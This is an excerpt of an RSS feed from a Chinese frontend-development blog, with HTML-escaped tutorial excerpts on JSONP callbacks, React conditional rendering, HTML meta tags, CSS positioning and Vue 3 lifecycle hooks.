&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面这段代码相当于向&lt;code&gt;http://localhost:3000/say?wd=Iloveyou&amp;amp;callback=show&lt;/code&gt;这个地址请求数据，然后后台返回&lt;code&gt;show('我不爱你')&lt;/code&gt;，最后会运行show()这个函数，打印出&amp;rsquo;我不爱你'&lt;/p&gt;</description></item><item><title>条件渲染的常见方法和注意事项</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-007/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-007/</guid><description>&lt;h2 id="条件渲染方式"&gt;条件渲染方式&lt;/h2&gt;
&lt;h3 id="1-if-语句"&gt;1. if 语句&lt;/h3&gt;
&lt;p&gt;先从 React 最基本的条件类型来看。如果有数据就显示组件，如果没有数据就不显示任何内容。&lt;code&gt;posts&lt;/code&gt; 为需要渲染的列表：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;App&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;posts&lt;/span&gt; } &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;usePosts&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;posts&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;    &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;      &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;PostList&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;posts&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;posts&lt;/span&gt;} &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;    &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这种形式会生效的原因就是我们会提前返回，如果满足条件（&lt;code&gt;posts&lt;/code&gt; 值不存在），就通过&lt;code&gt;return null&lt;/code&gt; 在组件中不显示任何内容。&lt;/p&gt;
&lt;p&gt;如果有多个要检查的条件时，也可以使用 &lt;code&gt;if&lt;/code&gt; 语句。例如，在显示数据之前检查加载和错误状态：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;App&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;isLoading&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;isError&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;posts&lt;/span&gt; } &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;usePosts&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;   
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;isLoading&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Loading&lt;/span&gt;...&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;isError&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;Error&lt;span style="color:#f92672"&gt;!&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;    &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;      &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;PostList&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;posts&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;posts&lt;/span&gt;} &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;    &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里我们可以多次使用 &lt;code&gt;if&lt;/code&gt; 语句，不需要再使用 &lt;code&gt;else&lt;/code&gt; 或者 &lt;code&gt;if-eles&lt;/code&gt; 语句，这样就减少了需要编写的代码，并且可读性更强。&lt;/p&gt;
&lt;h3 id="2-三元运算符"&gt;2. 三元运算符&lt;/h3&gt;
&lt;p&gt;当我们想提前退出或者什么都不显示时，if 语句会很有用。但是，如果我们不想写一个与返回的 JSX 分开的条件，而是直接在其中写呢？那就可以使用三元表达式来编写条件。&lt;/p&gt;
&lt;p&gt;在 React 中，我们必须在 JSX 中包含表达式，而不是语句。这就是为什么我们在 JSX 中只能使用三元表达式，而不是 if 语句来编写条件。&lt;/p&gt;</description></item><item><title>meta 标签</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-007/</link><pubDate>Tue, 05 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-007/</guid><description>&lt;h2 id="概览"&gt;概览&lt;/h2&gt;
&lt;p&gt;meta标签一般放在整个&lt;code&gt;html&lt;/code&gt;页面的&lt;code&gt;head&lt;/code&gt;部分，在&lt;code&gt;MDN&lt;/code&gt;中对他这样定义：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;meta是&lt;strong&gt;文档级元数据元素&lt;/strong&gt;，用来表示那些不能由其它 HTML 元相关元素（&lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt;或 &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt;）之一表示的任何元数据。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;是不是感觉看起来很抽象？说白了就是为了传达信息。&lt;/p&gt;
&lt;p&gt;先看看&lt;code&gt;meta&lt;/code&gt; 元素定义的元数据的类型：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果设置了 &lt;code&gt;name&lt;/code&gt;属性，&lt;code&gt;meta&lt;/code&gt; 元素提供的是文档级别的元数据，应用于整个页面。&lt;/li&gt;
&lt;li&gt;如果设置了 &lt;code&gt;http-equiv&lt;/code&gt;属性，&lt;code&gt;meta&lt;/code&gt; 元素则是编译指令，提供的信息与类似命名的 HTTP 头部相同。&lt;/li&gt;
&lt;li&gt;如果设置了 &lt;code&gt;charset&lt;/code&gt;属性，&lt;code&gt;meta&lt;/code&gt; 元素是一个字符集声明，告诉文档使用哪种字符编码。&lt;/li&gt;
&lt;li&gt;如果设置了 &lt;code&gt;itemprop&lt;/code&gt; 属性，&lt;code&gt;meta&lt;/code&gt; 元素提供用户定义的元数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="name属性"&gt;name属性&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;name&lt;/code&gt;和&lt;code&gt;content&lt;/code&gt;一起使用，前者表示要表示的元数据的&lt;code&gt;名称&lt;/code&gt;，后者是元数据的&lt;code&gt;值&lt;/code&gt;。&lt;/p&gt;
&lt;h3 id="author"&gt;author&lt;/h3&gt;
&lt;p&gt;用来表示网页的作者的名字，例如某个组织或者机构。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;author&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;aaa@mail.abc.com&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="description"&gt;description&lt;/h3&gt;
&lt;p&gt;是一段简短而精确的、对页面内容的描述。以头条和taobao的&lt;code&gt;description&lt;/code&gt;标签为例：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/html/html-007/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/html/html-007/image-02.webp"&gt;&lt;/p&gt;
&lt;h3 id="keywords"&gt;keywords&lt;/h3&gt;
&lt;p&gt;与页面内容相关的关键词，使用逗号分隔。某些搜索引擎在遇到这些关键字时，会用这些关键字对文档进行分类。 还是以头条和taobao为例&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/html/html-007/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/html/html-007/image-04.webp"&gt;&lt;/p&gt;
&lt;h3 id="viewpoint"&gt;viewpoint&lt;/h3&gt;
&lt;p&gt;为 viewport（视口）的初始大小提供指示。目前仅用于移动设备。&lt;/p&gt;
&lt;p&gt;可能你也发现了，我们在&lt;code&gt;vscode&lt;/code&gt;中自动生成&lt;code&gt;html&lt;/code&gt;的代码片段时，会自动生成：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;width&lt;/code&gt;用来设置 viewport 的宽度为设备宽度;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;initial-scale&lt;/code&gt;为设备宽度与 viewport 大小之间的缩放比例。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/html/html-007/image-05.webp"&gt;&lt;/p&gt;
&lt;h3 id="robots"&gt;robots&lt;/h3&gt;
&lt;p&gt;表示爬虫对此页面的处理行为，或者说，应当遵守的规则，是用来做搜索引擎抓取的。&lt;/p&gt;
&lt;p&gt;它的&lt;code&gt;content&lt;/code&gt;可以为：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;all&lt;/code&gt;:搜索引擎将索引此网页，并继续通过此网页的链接索引文件将被检索&lt;/li&gt;
&lt;li&gt;&lt;code&gt;none&lt;/code&gt;:搜索引擎讲忽略此网页&lt;/li&gt;
&lt;li&gt;&lt;code&gt;index&lt;/code&gt;:搜索引擎索引此网页&lt;/li&gt;
&lt;li&gt;&lt;code&gt;follow&lt;/code&gt;:搜索引擎继续通过此网页的链接索引搜索其它的网页&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="renderer"&gt;renderer&lt;/h3&gt;
&lt;p&gt;用来指定双核浏览器的渲染方式，比如360浏览器，我们可以通过这个设置来指定360浏览器的渲染方式&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;renderer&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;webkit&amp;#34;&lt;/span&gt;&amp;gt; //默认webkit内核
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;renderer&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;ie-comp&amp;#34;&lt;/span&gt;&amp;gt; //默认IE兼容模式
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;renderer&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;ie-stand&amp;#34;&lt;/span&gt;&amp;gt; //默认IE标准模式
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="http-equiv"&gt;http-equiv&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;http-equiv&lt;/code&gt;也是和&lt;code&gt;content&lt;/code&gt;一起使用，前者表示要表示的元数据的&lt;code&gt;名称&lt;/code&gt;，后者是元数据的&lt;code&gt;值&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http-equiv&lt;/code&gt; 所有允许的值都是特定 HTTP 头部的名称，&lt;/p&gt;</description></item><item><title>position</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/position/</link><pubDate>Tue, 08 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/position/</guid><description>&lt;blockquote&gt;
&lt;p&gt;CSS 中 &lt;code&gt;position&lt;/code&gt; 属性用于指定元素的定位方法的类型（&lt;code&gt;static&lt;/code&gt;、&lt;code&gt;relative&lt;/code&gt;、&lt;code&gt;absolute&lt;/code&gt;、&lt;code&gt;fixed&lt;/code&gt;、&lt;code&gt;sticky&lt;/code&gt;）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="静态定位-position-static"&gt;静态定位 position: static&lt;/h3&gt;
&lt;p&gt;此属性未 HTML 元素默认定位，一个元素没有以任何特殊的方式定位，它总是按照页面的正常流程定位。&lt;/p&gt;
&lt;p&gt;在此属性下，属性值 &lt;code&gt;top&lt;/code&gt;、&lt;code&gt;left&lt;/code&gt;、&lt;code&gt;right&lt;/code&gt;、&lt;code&gt;bottom&lt;/code&gt; 和 &lt;code&gt;z-index&lt;/code&gt; 对HTML元素没有影响。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;parent&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;child&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;class=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;sibling&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;style&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text/css&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .parent {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; width: 480px;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; height: 320px;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; background-color: #008800;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .child {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; width: 240px;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; height: 160px;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; background-color: #ff0000;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .sibling {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; width: 240px;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; height: 160px;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; background-color: #0000ff;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;效果如图：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/position/image-01.webp"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;为什么使用它呢？将元素设置为 &lt;code&gt;position: static&lt;/code&gt; 的唯一原因是强制删除应用于无法控制的元素上的某些定位。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="相对定位-position-relative"&gt;相对定位 position: relative&lt;/h3&gt;
&lt;p&gt;此属性相对于其正常位置的，在不改变布局的情况下根据元素的当前位置定位元素。&lt;/p&gt;</description></item><item><title>生命周期</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/lifecycle/</link><pubDate>Fri, 04 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/lifecycle/</guid><description>&lt;h2 id="vue3生命周期"&gt;vue3生命周期&lt;/h2&gt;
&lt;p&gt;在Vue中，生命周期指的是Vue实例从创建到销毁的过程。在这个过程中，Vue实例会经历一系列的阶段，包括数据观测、模板编译、挂载DOM、更新DOM、卸载等等。在这些阶段，Vue提供了一些生命周期钩子函数，让我们可以在特定的时机执行某些代码。&lt;/p&gt;
&lt;h2 id="为什么需要生命周期"&gt;为什么需要生命周期&lt;/h2&gt;
&lt;p&gt;生命周期钩子函数为我们提供了在Vue实例生命周期不同阶段执行代码的能力。这对于非响应式的操作非常有用，例如直接操作DOM、添加事件监听器或者创建定时器等。这些操作如果在数据变化时执行可能会导致不必要的性能开销，而生命周期钩子函数让我们可以更合理地安排这些操作的执行时机。一些常用的库，例如&lt;code&gt;react&lt;/code&gt;，&lt;code&gt;webpack&lt;/code&gt;都提供了生命周期的钩子，方便开发者理解整个运行流程。&lt;/p&gt;
&lt;h2 id="vue3-有哪些生命周期分别在什么时候调用"&gt;Vue3 有哪些生命周期，分别在什么时候调用？&lt;/h2&gt;
&lt;p&gt;Vue3的生命周期钩子函数主要包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;beforeCreate&lt;/code&gt;: 创建实例之前调用，此时实例的数据观测、事件等还未初始化。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;created&lt;/code&gt;: 创建实例后调用，此时实例的数据观测、事件等已经初始化完成。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;beforeMount&lt;/code&gt;: 挂载实例之前调用，此时模板已经编译完成，但是还未挂载到DOM。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mounted&lt;/code&gt;: 挂载实例后调用，此时实例已经挂载到DOM，可以进行DOM操作。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;beforeUpdate&lt;/code&gt;: 数据更新之前调用，此时可以进行状态的最后更改。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;updated&lt;/code&gt;: 数据更新后调用，此时DOM已经完成更新，可以进行DOM操作。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;beforeUnmount&lt;/code&gt;: 卸载实例之前调用，此时实例仍然完全可用。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;unmounted&lt;/code&gt;: 卸载实例后调用，此时实例已经完全卸载。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;生命周期类型的枚举位于&lt;code&gt;packages/runtime-core/src/enums.ts&lt;/code&gt;目录下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;enum&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;LifecycleHooks&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#a6e22e"&gt;BEFORE_CREATE&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;bc&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// 创建之前
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#a6e22e"&gt;CREATED&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;c&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// 创建
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#a6e22e"&gt;BEFORE_MOUNT&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;bm&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// 挂载之前
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#a6e22e"&gt;MOUNTED&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;m&amp;#39;&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// 挂载
